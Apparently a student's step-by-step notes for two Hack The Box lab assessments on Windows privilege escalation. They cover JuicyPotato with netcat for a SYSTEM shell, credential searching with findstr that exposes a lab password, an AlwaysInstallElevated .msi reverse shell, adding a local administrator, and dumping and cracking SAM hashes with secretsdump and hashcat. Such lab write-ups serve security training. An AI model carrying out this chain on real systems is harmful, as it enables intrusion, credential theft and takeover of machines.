Assessments

ASSESSMENT1

• Look for systeminfo
  • note the: OS version, hotfixes (dating back to 2016)
• whoami /all
  • SeImpersonatePrivileges
• send JuicyPotato, nc.exe
  • run JuicyPotato with a different clsid
• catch SYSTEM shell
• findstr file confidential.txt
• search for term ldapadmin

Assessment2

• findstr /SIM /C:"administrator" *.txt *.ini *.cfg *.config *.xml
  • iamadministrator: Inl@n3fr3ight_sup3rAdm1n!
• .\SharpUp.exe audit
  • AlwaysInstallElevated is active
• PowerUp does not work
• create a .msi reverse-shell
  • get a nc reverse-shell as SYSTEM
  • get flag.txt
  • add htb-student to localgroup Administrators
    • net localgroup Administrators htb-student /add
• sign-out and sign-in into htb-student using xfreerdp
• now, reg save hklm\sam, system, security and send to Kali
• on kali - impacket-secretsdump to get hashes
• hashcat -m 1000 -a 0 hash rockyou.txt to get wksadmin password